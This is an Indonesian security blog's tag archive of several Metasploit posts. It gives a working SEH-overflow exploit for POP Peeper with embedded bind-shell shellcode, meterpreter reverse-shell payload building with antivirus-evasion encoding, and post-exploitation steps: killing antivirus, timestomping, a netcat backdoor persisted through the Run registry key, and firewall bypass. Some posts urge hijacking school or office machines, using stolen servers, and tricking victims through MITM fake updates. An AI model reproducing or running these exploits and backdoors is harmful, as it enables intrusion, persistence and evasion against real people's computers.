Posts Tagged ‘Metasploit’

SEH Overwrite for n00b

Sunday, January 31st, 2010

Baru-baru ini disalah satu forum yang membahas security ada diskusi mengenai SEH overwrite, SEH overwrite merupakan salah satu metode favorite yang umum digunakan untuk meng-eksploitasi aplikasi dalam sistem operasi Microsoft Windows. Dan berhubung ini adalah malam minggu (hey…what’s the correlation??), then let’s talk about this.

Kita tidak akan menceritakan secara detail mengenai apa itu SEH, mungkin akan dibahas pada waktu yang lain, yang pasti SEH (Structure Exception Handle) merupakan salah satu teknologi yang diusung oleh sistem operasi Microsoft Windows dan dapat dimanfaatkan untuk proses eksploitasi suatu bug, khususnya stack based memory corruption. Bisa dibilang SEH overwrite merupakan tehnik yang melibatkan bug aplikasi dilingkungan stack.

Prinsipnya adalah, jika kita bisa membuat suatu aplikasi crash, dan crash tersebut berada di lingkungan stack (contoh: stack-based buffer overflow), dan ketika aplikasi crash ternyata struktur rantai SEH (SEH chain) bisa di-overwrite, maka kemungkinan besar kita bisa mengambil alih sistem dengan memanfaatkan tehnik SEH Overwrite.

(more…)

Metasploit’s LIB

Thursday, March 19th, 2009

Baru-baru ini saya membaca blog dari Matasano setelah cukup lama mereka ‘idle’ dari menulis blog. Blog yang ditulis oleh eric monti tersebut cukup menarik, intinya adalah membahas penggunaan Ruby sebagai tools untuk proses penetration testing. Silahkan dibaca secara lengkap mengenai tools tersebut.

Well, eric monti bukan yang pertama. Semakin banyak pihak (baik individu maupun team) yang menggunakan ruby dalam bidang security saat ini, alasan utama karena ruby powerfull dan membuat nyaman programmer saat menyusun barisan-barisan code. Ronin juga termasuk salah satu pengikut aliran ruby untuk penetration tools.

Pengikut aliran fanatisme yang kebetulan penggila metasploit biasanya akan berpikir bahwa project-project lain hanya berusaha mengikuti jejak metasploit, ataupun minimal terinspirasi oleh project metasploit. Dan HDM pernah menyebutkan bahwa metasploit di klaim sebagai project ruby terbesar saat ini.

Saya pribadi tidak begitu peduli dengan berbagai macam aliran atau fanatisme, namun cukup yakin bahwa metasploit merupakan framework opensource terlengkap dalam hal pengembangan exploit untuk saat ini. Walaupun bagi para security consultan yang sudah mencicipi lezatnya core impact ataupun immunity canvas akan menilai bahwa metasploit framework berusaha mengikuti jejak kedua project tersebut, tetap saja pengaruh opensource pada suatu project akan memberikan peningkatan kreativitas yang signifikan. Alasannya jelas karena opensource mendapatkan ide-ide kreativitas dari masyarakat seluruh dunia.  Oke, cukup bicara mengenai perbandingan.

Kita sering melihat pada berbagai forum ataupun mailing list dibahas mengenai metasploit sebagai alat untuk exploitasi. Updatenya ditunggu-tunggu, apalagi versi barunya. Sebetulnya tidak salah, namun itu berarti kita hanya memanfaatkan sebagian dari kemampuan penuh metasploit framework. Kita hanya memanfaatkan ‘metasploit’-nya, belum ‘framework’-nya.

Mungkinkah karena tidak ada lagi hal yang membuat seseorang menjadi tertantang untuk melakukan eksplorasi? Inikah hasil dari kemudahan konsep framework dan object-oriented programming?

- Taken from somewhere -

Hm, agree, but not fully.

Bentuk framework memang berpotensi untuk menyesatkan para pendatang baru, namun merupakan suatu seni tersendiri bagi yang tertarik untuk memanfaatkannya secara penuh. Sistem operasi dan Aplikasi user saat ini berkembang semakin baik, terutama dalam hal security. Ini merupakan hasil dari ’security through obscurity’. Jika jaman dahulu bugs stack-overflow bertaburan dimana-mana dan untuk exploitasi nya cukup dengan sedikit utak-atik, maka saat ini bugs tersebut tidak dapat dengan mudah ditemukan dan di exploitasi begitu saja. Sudah ada /SafeSEH, /GS, ASLR, dsb yang membuat proses riset penemuan serta exploitasi bugs overflow menjadi jauh lebih sulit dari 10 tahun yang lalu.

Jika jaman dahulu shellcode bisa dikategorikan layer paling tinggi atau proses akhir dari suatu exploitasi, maka saat ini shellcode masuk pada kategori layer menengah kebawah. Dalam arti dibutuhkan metode-metode logical yang lebih kompleks dan kreativ untuk dapat membuat shellcode-shellcode tersebut  dieksekusi oleh target. Dengan adanya framework, ataupun object-oriented, maka kita dapat lebih memfokuskan diri pada pengembangan metode-metode logical serangan yang lebih tinggi dan lebih kreatif sementara hal-hal statis lainnya (shellcode, assembly, remote connection, dll) di urus oleh framework. Dan bentuk framework yang seperti layering ini juga memudahkan pengembangan pada layer-layer bagian bawah dimana kita dapat menambahkan kapan saja metode-metode ataupun jenis shellcode yang akan digunakan.

Ada berbagai macam contoh framework saat ini, namun kita hanya akan memfokuskan pada metasploit sebagai framework opensource yang sangat berpengaruh di dunia security saat ini.

Penjelasan detail mengenai dalemannya metasploit framework bisa ditemukan pada dokumentasi bawaan metasploit, namun untuk memahami secara mendalam kita harus bisa membaca isi dari code-code ruby didalamnya.

lib$ ls
bindata		metasm.bak	net		packetfu.rb	rex.rb		scruby.rb	zip
bindata.rb	metasm.rb	ole		rabal		rex.rb.ts.rb	telephony
metasm		msf		packetfu	rex		scruby		telephony.rb

Contoh diatas menunjukan isi direktori LIB dari metasploit framework. Dan bagi para programmer akan langsung bisa melihat bahwa direktori LIB tersebut berisi ribuan code yang dapat dimanfaatkan oleh script-script ruby standalone. Termasuk diantaranya beberapa contoh feature-feature ‘rbkb’ buatan eric monti diatas, seperti encoding/decoding. Dengan memanfaatkan library-library siap saji tersebut maka kita dapat membuat beragam tools, bahkan dapat juga dimanfaatkan untuk mengembangkan aplikasi-aplikasi lain diluar konteks security.

Namun tentu saja kemampuan metasploit akan sangat berguna dalam proses pengembangan exploit, terutama untuk membuat exploit tersebut lebih reliable. Metasploit juga dapat digunakan untuk mempercepat proses porting berbagai macam public exploit.


#!/usr/bin/env ruby

$:.unshift(' ../lib ')

require 'rex'

# Win32 Bindshell Shellcode (author=metasploit,port=55555,encoder=pexalphanum,size=709,exitfunc=thread)
sc =  "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49" +
      "\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36" +
      "\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34" +
      "\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41" +
      "\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4c\x46\x4b\x4e" +
      "\x4d\x44\x4a\x4e\x49\x4f\x4f\x4f\x4f\x4f\x4f\x4f\x42\x36\x4b\x38" +
      "\x4e\x46\x46\x32\x46\x42\x4b\x48\x45\x34\x4e\x53\x4b\x58\x4e\x47" +
      "\x45\x30\x4a\x37\x41\x30\x4f\x4e\x4b\x38\x4f\x44\x4a\x31\x4b\x38" +
      "\x4f\x35\x42\x42\x41\x50\x4b\x4e\x49\x54\x4b\x48\x46\x33\x4b\x38" +
      "\x41\x50\x50\x4e\x41\x43\x42\x4c\x49\x39\x4e\x4a\x46\x58\x42\x4c" +
      "\x46\x57\x47\x50\x41\x4c\x4c\x4c\x4d\x50\x41\x30\x44\x4c\x4b\x4e" +
      "\x46\x4f\x4b\x53\x46\x35\x46\x32\x4a\x42\x45\x57\x45\x4e\x4b\x48" +
      "\x4f\x35\x46\x42\x41\x50\x4b\x4e\x48\x36\x4b\x48\x4e\x30\x4b\x54" +
      "\x4b\x58\x4f\x35\x4e\x51\x41\x50\x4b\x4e\x43\x50\x4e\x52\x4b\x58" +
      "\x49\x38\x4e\x56\x46\x52\x4e\x51\x41\x36\x43\x4c\x41\x43\x4b\x4d" +
      "\x46\x36\x4b\x58\x43\x54\x42\x53\x4b\x48\x42\x44\x4e\x30\x4b\x58" +
      "\x42\x57\x4e\x31\x4d\x4a\x4b\x38\x42\x54\x4a\x50\x50\x55\x4a\x46" +
      "\x50\x58\x50\x44\x50\x50\x4e\x4e\x42\x55\x4f\x4f\x48\x4d\x48\x56" +
      "\x43\x35\x48\x36\x4a\x46\x43\x43\x44\x53\x4a\x46\x47\x47\x43\x37" +
      "\x44\x43\x4f\x55\x46\x55\x4f\x4f\x42\x4d\x4a\x56\x4b\x4c\x4d\x4e" +
      "\x4e\x4f\x4b\x53\x42\x55\x4f\x4f\x48\x4d\x4f\x35\x49\x58\x45\x4e" +
      "\x48\x36\x41\x58\x4d\x4e\x4a\x50\x44\x30\x45\x45\x4c\x46\x44\x30" +
      "\x4f\x4f\x42\x4d\x4a\x56\x49\x4d\x49\x30\x45\x4f\x4d\x4a\x47\x55" +
      "\x4f\x4f\x48\x4d\x43\x55\x43\x45\x43\x55\x43\x35\x43\x35\x43\x34" +
      "\x43\x55\x43\x44\x43\x45\x4f\x4f\x42\x4d\x48\x46\x4a\x46\x49\x4d" +
      "\x43\x30\x48\x36\x43\x55\x49\x38\x41\x4e\x45\x49\x4a\x46\x46\x4a" +
      "\x4c\x31\x42\x47\x47\x4c\x47\x55\x4f\x4f\x48\x4d\x4c\x36\x42\x41" +
      "\x41\x35\x45\x45\x4f\x4f\x42\x4d\x4a\x36\x46\x4a\x4d\x4a\x50\x42" +
      "\x49\x4e\x47\x45\x4f\x4f\x48\x4d\x43\x55\x45\x45\x4f\x4f\x42\x4d" +
      "\x4a\x36\x45\x4e\x49\x54\x48\x48\x49\x54\x47\x35\x4f\x4f\x48\x4d" +
      "\x42\x55\x46\x45\x46\x55\x45\x45\x4f\x4f\x42\x4d\x43\x59\x4a\x46" +
      "\x47\x4e\x49\x57\x48\x4c\x49\x37\x47\x55\x4f\x4f\x48\x4d\x45\x55" +
      "\x4f\x4f\x42\x4d\x48\x36\x4c\x46\x46\x46\x48\x56\x4a\x46\x43\x36" +
      "\x4d\x36\x49\x48\x45\x4e\x4c\x36\x42\x55\x49\x45\x49\x32\x4e\x4c" +
      "\x49\x48\x47\x4e\x4c\x36\x46\x54\x49\x38\x44\x4e\x41\x43\x42\x4c" +
      "\x43\x4f\x4c\x4a\x50\x4f\x44\x34\x4d\x32\x50\x4f\x44\x54\x4e\x32" +
      "\x43\x39\x4d\x48\x4c\x37\x4a\x43\x4b\x4a\x4b\x4a\x4b\x4a\x4a\x36" +
      "\x44\x47\x50\x4f\x43\x4b\x48\x51\x4f\x4f\x45\x57\x46\x34\x4f\x4f" +
      "\x48\x4d\x4b\x45\x47\x45\x44\x55\x41\x35\x41\x55\x41\x35\x4c\x36" +
      "\x41\x50\x41\x55\x41\x35\x45\x45\x41\x45\x4f\x4f\x42\x4d\x4a\x56" +
      "\x4d\x4a\x49\x4d\x45\x30\x50\x4c\x43\x55\x4f\x4f\x48\x4d\x4c\x36" +
      "\x4f\x4f\x4f\x4f\x47\x43\x4f\x4f\x42\x4d\x4b\x48\x47\x35\x4e\x4f" +
      "\x43\x58\x46\x4c\x46\x36\x4f\x4f\x48\x4d\x44\x45\x4f\x4f\x42\x4d" +
      "\x4a\x36\x4f\x4e\x50\x4c\x42\x4e\x42\x56\x43\x55\x4f\x4f\x48\x4d" +
      "\x4f\x4f\x42\x4d\x5a"

nextseh = Rex::Arch.pack_addr(ARCH_X86, 0x909006EB)
seh = Rex::Arch.pack_addr(ARCH_X86, 0x10014E39)
nop = "\x90"

sock = Rex::Socket::TcpServer.create('LocalPort' => '110')
chld = sock.accept

chld.write("+OK\r\n")
chld.get
chld.write("+OK\r\n")
chld.get
chld.write("+OK\r\n")
chld.get
chld.write("+OK 1 100\r\n")
chld.get
chld.write("+OK\r\n1 " + "A" * 1072 + "#{nextseh}" + "#{seh}" + "#{nop}" * 32 + "#{sc}" + "\r\n.\r\n")

Contoh diatas memperlihatkan penggunaan metasploit secara ‘kotor’ yang merupakan porting dari Milw0rm. Public exploit dari milw0rm tersebut cukup reliable dengan memanfaatkan SEH serta pop+pop+ret dari library bawaan poppeer. Namun dengan integrasi pada framework metasploit, kita dapat menambahkan lebih banyak feature seperti beragam payload/shellcode, integrasi dengan meterpreter sebagai salah satu feature untuk post-exploitation method, automatic backdoor installation, hingga me-register SEH secara langsung untuk mendapatkan hasil yang lebih reliable. Berikut salah satu contoh bentuk model yang telah di porting dan di integrasikan kedalam metasploit (based on MC’s):

class Metasploit3 < Msf::Exploit::Remote

  include Msf::Exploit::Remote::TcpServer
  include Msf::Exploit::Remote::Seh

  def initialize(info = {})
		super(update_info(info,
			'Name'           => 'POP Peeper 3.4.0.0 UIDL Remote Buffer Overflow Exploit',
			'Description'    => %q{
                        POP Peeper is vulnerable to a remote buffer overflow vulnerability.This vulnerability is exploitable on the client side.
                        A vulnerable POP Peeper user must connect to an exploitation server and attempt to use retrieve mail to be affected.

                        To trigger this vulnerability, POP Peeper has to connect to an exploitation server acting as a POP3 daemon.
                        POP Peeper then uses the UIDL command to get unique IDs for each email it later plans on retrieving.
                       The exploitation server can send an oversized ID (1040 bytes), overflowing a buffer on the stack, giving the attacker
                       complete control over the process.

                       POP Peeper 3.4.0.0 was confirmed vulnerable. All versions of below 3.4.0.0 and are suspected vulnerable as well.

			},
			'Author'         => 'Based on MC\'s and Krakow Labs',
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: $',
			'References'     =>
				[
					['MIL', '8117'],
					['URL', 'http://www.krakowlabs.com/res/adv/KL0209ADV-poppeeper_uidl-bof.txt']
				],
			'Privileged'     => false,
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Payload'        =>
				{
					'Space'    => 750,
					'BadChars' => "\x00\x0a\x20\x0d",
					'StackAdjustment' => -3500,
					'EncoderType' => Msf::Encoder::Type::AlphanumMixed,
					'DisableNops' => 'True',
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					['POP Peeper v3.4.0.0', { 'Ret' => 0x10014E39 } ]
				],
			'DisclosureDate' => 'Feb 27 2009',
			'DefaultTarget'  => 0))

			register_options(
			[
			  OptPort.new('SRVPORT', [ true, "The POP daemon to listen on", 110])
			], self.class
			)

	end

	def on_client_connect(client)
	  client.write("+OK\r\n")
  end

	def on_client_data(client)

	  # Re-generate the payload
		return if ((p = regenerate_payload(client)) == nil)

    client.write("+OK\r\n")
    client.get_once
    client.write("+OK\r\n")
    client.get_once
    client.write("+OK 1 100\r\n")
    client.get_once

    print_status("Sending exploit to #{client.peerhost}:#{client.peerport}...")
    client.write("+OK\r\n1 " + rand_text_alpha_upper(1072) + generate_seh_payload(target.ret) + "\r\n.\r\n")

    handler

    service.close_client(client)

  end

end

Pihak underground dapat memanfaatkan framework metasploit sebagai ‘ebook’ dalam mempelajari beragam tehnik dan teknologi eksploitasi, white hat / security consultant dapat memanfaatkan framework metasploit untuk mempercepat proses penetration testing ataupun pengembangan eksploit, blackhat / para developer automatic tools semacam MPack dan ICEpack dapat memanfaatkan beragam shellcode ataupun assembly code dari metasploit untuk dimasukan kedalam modul-modul 0day miliknya. Inilah salah satu seni kehebatan opensource.

Everybody can learn and get benefit of a framework, isn’t it? ;)

.fun and profit with meterpreter.

Sunday, March 1st, 2009

.so lets make ur choice kiddo,dengan mengacu sebelumnya pada artikel.

.meterpreter non encode.

neo@b0x:/pentest/exploits/framework3# ./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.0.12 LPORT=455 X > meterpreter_1.exe
Created by msfpayload (http://www.metasploit.com).
Payload: windows/meterpreter/reverse_tcp
 Length: 278
Options: LHOST=192.168.0.12,LPORT=455

http://www.virustotal.com/analisis/4b0a655b264b23b2f4dab74688c8890e
Result: 1/39

.meterpreter with encode XOR.

neo@b0x:/pentest/exploits/framework3# ./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.0.12 LPORT=455 R | ./msfencode -e x86/shikata_ga_nai -b '' -t exe -o meterpreter_2.exe
[*] x86/shikata_ga_nai succeeded, final size 306

http://www.virustotal.com/analisis/cbb1cf1a7ce9943c5d8d15f210da8361
Result: 0/39 (0%)

msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.0.12
LHOST => 192.168.0.12
msf exploit(handler) > set LPORT 455
LPORT => 455
msf exploit(handler) > exploit

[*] Handler binding to LHOST 0.0.0.0
[*] Started reverse handler
[*] Starting the payload handler...

.next move is critical,well sekarang attacker membuat target agar mengeksekusi meterpreter_2.exe sebeneranya ini tergantung imajinasi anda sendiri.
.penulis sendiri memilih ettercap sebagai jembatan menggunakan metode MITM. bisa dengan ettercap filter yang akan membuat popup setiap target melakukan browsing.
.ataupun dengan kombinasi evilgrade( www.infobyte.com.ar )+ettercap dengan DNS spoofing secara tidak langsung akan mengelabui target untuk melakukan fake patch
untuk beberapa program yang ada di evilgrade exam: winamp,winzip,notepad++ bisa juga menambahkan modul tersendiri di evilgrade; firefox ataupun thunderbird (-.-)”.

.setelah target mengeksekusi meterperter_2.exe.

[*] Transmitting intermediate stager for over-sized stage...(191 bytes)
[*] Sending stage (2650 bytes)
[*] Sleeping before handling stage...
[*] Uploading DLL (75787 bytes)...
[*] Upload completed.
[*] Meterpreter session 1 opened (192.168.0.12:455 -> 192.168.0.5:1037)

meterpreter > sysinfo
Computer: PENTEST3
OS      : Windows XP (Build 2600, Service Pack 3).

.with remote desktop.
.there is for Virtual Network Computing look, im prefer CLI than GUI (^^)V.

meterpreter > run getgui
-----------------passing------------------------

.kill AV.
meterpreter > run killav
[*] Killing Antivirus services on the target...

.ok bisa juga dengan mengedit killav.rb untuk menambahkan beberapa list AV tersendiri.

neo@b0x:~# vi /pentest/exploits/framework3/scripts/meterpreter/killav.rb
#
# Meterpreter script that kills all Antivirus processes
# Provided by: Jerome Athias 
#

print_status("Killing Antivirus services on the target...")

avs = %W{
        AAWTray.exe
        Ad-Aware.exe
        MSASCui.exe
        _avp32.exe
        _avpcc.exe
        _avpm.exe
        aAvgApi.exe
        ackwin32.exe
        adaware.exe
        advxdwin.exe
        agentsvr.exe
        agentw.exe
        alertsvc.exe
        alevir.exe
        alogserv.exe
        amon9x.exe
        anti-trojan.exe
-----------------cut------------------------

windows enumiration

meterpreter > run winemun
[*] Running Windows Local Enumerion Meterpreter Script
[*] New session on 192.168.0.5:1037...
[*] Saving report to /neo/.msf3/logs/winenum/192.168.0.5_20090216.174854613/192.168.0.5_20090216.174854613.txt
[*] Checking if PENTEST3 is a Virtual Machine ........
[*]     This is a VMWare virtual Machine
[*] Running Command List ...
[*]     running command cmd.exe /c set
[*]     running command arp -a
[*]     running command ipconfig /all
[*]     running command ipconfig /displaydns
[*]     running command route print
[*]     running command net view
[*]     running command netstat -nao
[*]     running command netstat -vb
[*]     running command netstat -ns
[*]     running command net accounts
[*]     running command net accounts /domain
[*]     running command net session
-----------------cut------------------------

example output winenum

neo@b0x:~# cat /neo/.msf3/logs/winenum/192.168.0.5_20090216.174854613/192.168.0.5_20090216.174854613.txt
Date:       2009-02-16.02:17:48
Running as: PENTEST3\pentest3
Host:       PENTEST3
OS:         Windows XP (Build 2600, Service Pack 3).

This is a VMWare virtual Machine

*****************************************
      Output of cmd.exe /c set
*****************************************
ALLUSERSPROFILE=C:\Documents and Settings\All Users
APPDATA=C:\Documents and Settings\pentest3\Application Data
CLIENTNAME=Console
CommonProgramFiles=C:\Program Files\Common Files
COMPUTERNAME=PENTEST3
ComSpec=C:\WINDOWS\system32\cmd.exe
FP_NO_HOST_CHECK=NO
HOMEDRIVE=C:
HOMEPATH=\Documents and Settings\pentest3
LOGONSERVER=\\PENTEST3
NUMBER_OF_PROCESSORS=2
OS=Windows_NT
Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem
PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH
PROCESSOR_ARCHITECTURE=x86
PROCESSOR_IDENTIFIER=x86 Family 6 Model 15 Stepping 13, GenuineIntel
PROCESSOR_LEVEL=6
PROCESSOR_REVISION=0f0d
ProgramFiles=C:\Program Files
PROMPT=$P$G
SESSIONNAME=Console
SystemDrive=C:
SystemRoot=C:\WINDOWS
TEMP=C:\DOCUME~1\pentest3\LOCALS~1\Temp
TMP=C:\DOCUME~1\pentest3\LOCALS~1\Temp
USERDOMAIN=PENTEST3
-----------------cut------------------------

.bagaimana bila winemun ruby dalam framework3/scripts/meterpreter/winenum.rb.
.penulis lakukan modifikasi hingga yang di dump adalah my document bukan lagi registry ^_^V.

.netcat as backdoor.
.swiss army knife menggunakan TCP dan UDP dalam melakukan koneksi,penulis akan membahas penggunaan backd00r dalam wind#ws b0x.
.walaupun banyak antivirus menggangap netcat sebagai hacktool .

meterpreter > use priv
Loading extension priv...success.

meterpreter > upload /tmp/system32.exe C:\\windows\\system32\\
[*] uploading  : /tmp/system32.exe -> C:\windows\system32\
[*] uploaded   : /tmp/system32.exe -> C:\windows\system32\\system32.exe

.change file times.

meterpreter > timestomp C:\\windows\\system32\\system32.exe -v
Modified      : Tue Feb 24 20:27:49 -0500 2009
Accessed      : Thu Feb 26 09:29:39 -0500 2009
Created       : Tue Feb 24 20:27:49 -0500 2009
Entry Modified: Thu Feb 26 09:29:39 -0500 2009

meterpreter > timestomp C:\\windows\\system32\\system32.exe -b
[*] Blanking file MACE attributes on C:\windows\system32\system32.exe

meterpreter > timestomp C:\\windows\\system32\\system32.exe -f C:\\windows\\system32\\cmd.exe
[*] Setting MACE attributes on C:\windows\system32\system32.exe from C:\windows\system32\cmd.exe

meterpreter > timestomp C:\\windows\\system32\\system32.exe -v
Modified      : Sun Apr 13 18:42:16 -0400 2008
Accessed      : Sat Feb 28 05:06:19 -0500 2009
Created       : Thu Aug 23 08:00:00 -0400 2001
Entry Modified: Sat Feb 28 05:06:19 -0500 2009

meterpreter > reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run
Enumerating: HKLM\software\microsoft\windows\currentversion\run

  Values (3):

        SunJavaUpdateSched
        VMware Tools
        VMware User Process

meterpreter > reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v system32 -d "C:\\windows\\system32\\system32.exe -Ldp 455 -e cmd.exe"
Successful set system32.

meterpreter > reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\Run -v system32
Key: HKLM\software\microsoft\windows\currentversion\Run
Name: system32
Type: REG_SZ
Data: C:\windows\system32\system32.exe -Ldp 455 -e cmd.exe

.bypass XP default firewall.
.ada 2 metode dalam baypass firewall dari XP,dengan registry ataupun dengan network shell.

.with registry edit.

meterpreter > reg enumkey -k HKLM\\system\\controlset001\services\\sharedaccess\\parameters\\firewallpolicy\\Standardprofile\\authorizedapplications\\list
Enumerating: HKLM\system\controlset001services\sharedaccess\parameters\firewallpolicy\Standardprofile\authorizedapplications\list

No children.

meterpreter > reg setval -k HKLM\\system\\controlset001\services\\sharedaccess\\parameters\\firewallpolicy\\Standardprofile\\authorizedapplications\\list -v system32 -d "C:\WINDOWS\system32\system32.exe:*:Enabled:system32"
Successful set system32.

meterpreter > reg queryval -k HKLM\\system\\controlset001\services\\sharedaccess\\parameters\\firewallpolicy\\Standardprofile\\authorizedapplications\\list -v system32
Key: HKLM\system\controlset001services\sharedaccess\parameters\firewallpolicy\Standardprofile\authorizedapplications\list
Name: system32
Type: REG_SZ
Data: C:WINDOWSsystem32system32.exe:*:Enabled:system32

.with “netsh” command.

C:\Documents and Settings\pentest3\Desktop>Netsh firewall show opmode
Netsh firewall show opmode

Domain profile configuration:
-------------------------------------------------------------------
Operational mode                  = Enable
Exception mode                    = Enable

Standard profile configuration (current):
-------------------------------------------------------------------
Operational mode                  = Enable <<<< this
Exception mode                    = Enable <<<< this

Local Area Connection 2 firewall configuration:
-------------------------------------------------------------------
Operational mode                  = Enable

.setting firewall menarik disana adalah operation dan exception mode yang enable.
.sehingga attacker dapat melakukan penambahan port yang terbuka.

C:\Documents and Settings\pentest3\Desktop>netsh firewall add portopening TCP 455 "Service Firewall" ENABLE ALL
netsh firewall add portopening TCP 455 "Service Firewall" ENABLE ALL
ok.

C:\Documents and Settings\pentest3\Desktop>netsh firewall show portopening
netsh firewall show portopening

Port configuration for Domain profile:
Port   Protocol  Mode     Name
-------------------------------------------------------------------
139    TCP       Enable   NetBIOS Session Service
445    TCP       Enable   SMB over TCP
137    UDP       Enable   NetBIOS Name Service
138    UDP       Enable   NetBIOS Datagram Service

Port configuration for Standard profile:
Port   Protocol  Mode     Name
-------------------------------------------------------------------
455    TCP       Enable   Service Firewall              <<<< this
139    TCP       Enable   NetBIOS Session Service
445    TCP       Enable   SMB over TCP
137    UDP       Enable   NetBIOS Name Service
138    UDP       Enable   NetBIOS Datagram Service

.change target XP desktop wallpaper.
.secata default XP menamakan wallpaper desktopnya dengan wallpaper1.bmp, sehingga kita dapat melakukan replace.
.is this funny?.

meterpreter > upload /neo/wallpaper1.bmp "C:\\documents and settings\\pentest3\\local settings\\application data\\microsoft\\"
[*] uploading  : /neo/wallpaper1.bmp -> C:\documents and settings\pentest3\local settings\application data\microsoft\
[*] uploaded   : /neo/wallpaper1.bmp -> C:\documents and settings\pentest3\local settings\application data\microsoft\\wallpaper1.bmp

meterpreter > execute -H -i -f cmd.exe
Process 1096 created.
Channel 2 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\pentest3\Desktop>

.one more funny stuff.
.dengan shutdown command attacker dapat melakukan shutdown/restart dengan timeout,with funny message.

C:\Documents and Settings\pentest3\Desktop>shutdown -r -f -c "::your box are belong to us::" -t 13
shutdown -r -f -c "::your box are belong to us::" -t 13

msf > connect 192.168.0.5 455
[*] Connected to 192.168.0.5:455
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\pentest3>  

are u makes fun kidd0?

upgrade ur evil mind and imagination,explore out of the sphere,think out of the box
make ur choice;

EOF--

Metasploit: Backdooring

Sunday, February 22nd, 2009

Mungkin sebagian sudah ada yang tahu bahwa metasploit dapat digunakan untuk membuat backdoor, pernah juga disinggung pada toket edisi new year 2009. Penggunaan backdoor ini sangat berguna terutama sebagai post-exploitation method. Pada contoh kali ini kita akan memanfaatkan 2 metode dasar mendapatkan shell dari target, yaitu bind_tcp dan reverse_tcp.

Untuk bind_tcp, backdoor akan dijalankan pada terget dimana target akan membuka port pada sistemnya sendiri. Sehingga setelah proses exploitasi selesai, kita dapat masuk kapan saja ke target dengan memanfaatkan port yang telah dibuka oleh backdoor tersebut.

$ ./msfpayload windows/meterpreter/bind_tcp LPORT=4321 RHOST=10.10.96.143 EXITFUNC=thread X > MicrosoftDS.exe
Created by msfpayload (http://www.metasploit.com).
Payload: windows/meterpreter/bind_tcp
 Length: 307
Options: LPORT=4321,RHOST=10.10.96.143,EXITFUNC=thread

Backdoor tersebut akan membuka port 4321 pada target 10.10.96.143. Bagaimana proses menjalankan backdoor tersebut terserah kita, bisa jadi backdoor ditanam dan dijalankan setelah proses exploitasi selesai terhadap target seperti berikut:


msf exploit(ms08_067_netapi) > exploit

[*] Handler binding to LHOST 0.0.0.0
[*] Started reverse handler
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP Service Pack 0 / 1 - lang:English
[*] Selected Target: Windows XP SP0/SP1 Universal
[*] Triggering the vulnerability...
[*] Transmitting intermediate stager for over-sized stage...(191 bytes)
[*] Sending stage (2650 bytes)
[*] Sleeping before handling stage...
[*] Uploading DLL (75787 bytes)...
[*] Upload completed.
[*] Meterpreter session 3 opened (10.10.97.14:31338 -> 10.10.96.143:4780)

meterpreter > cd \
meterpreter > pwd
C:\
meterpreter > upload MicrosoftDS.exe
[*] uploading  : MicrosoftDS.exe -> MicrosoftDS.exe
[*] uploaded   : MicrosoftDS.exe -> MicrosoftDS.exe
meterpreter > execute -f MicrosoftDS.exe -H
Process 2348 created.

Pada saat berikutnya, kita dapat masuk ke mesin target tanpa melakukan exploitasi ulang, cukup dengan membuka koneksi pada port yang telah didefinisikan berikutnya.


msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/bind_tcp
PAYLOAD => windows/meterpreter/bind_tcp
msf exploit(handler) > set LPORT 4321
LPORT => 4321
msf exploit(handler) > set RHOST 10.10.96.143
RHOST => 10.10.96.143
msf exploit(handler) > exploit

[*] Starting the payload handler...
[*] Started bind handler
[*] Transmitting intermediate stager for over-sized stage...(191 bytes)
[*] Sending stage (2650 bytes)
[*] Sleeping before handling stage...
[*] Uploading DLL (75787 bytes)...
[*] Upload completed.
[*] Meterpreter session 2 opened (10.10.97.14:58798 -> 10.10.96.143:4321)

meterpreter >

Metode kedua menggunakan reverse shell, reverse shell digunakan terutama apabila network target dibatasi oleh firewall sehingga tidak bisa membuka koneksi ke semua port (tipikal internal network). Jadi jika kalian mendapatkan kesempatan untuk hacking ke salah satu mesin dalam internal network (misal: komputer sekolah, komputer kantor, komputer warnet, etc) serta tetap ingin mendapatkan akses shell tersebut kapanpun dan dimanapun bisa memanfaatkan multi-handler metasploit untuk menerima reverse shell. Kita bisa setup multi-handler di mesin-mesin yang dapat diakses dari manapun di internet, misalnya: mesin hosting, atau mesin server hasil rampokan, dsb.


msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(handler) > show options

Module options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------  

Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  seh              yes       Exit technique: seh, thread, process
   LHOST                      yes       The local address
   LPORT     4444             yes       The local port                        

Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target  

msf exploit(handler) > set LPORT 53
LPORT => 53
msf exploit(handler) > set LHOST 222.124.199.76
LHOST => 222.124.199.76
msf exploit(handler) > set ExitOnSession false
msf exploit(handler) > exploit

[*] Handler binding to LHOST 0.0.0.0
[*] Started reverse handler
[*] Starting the payload handler...

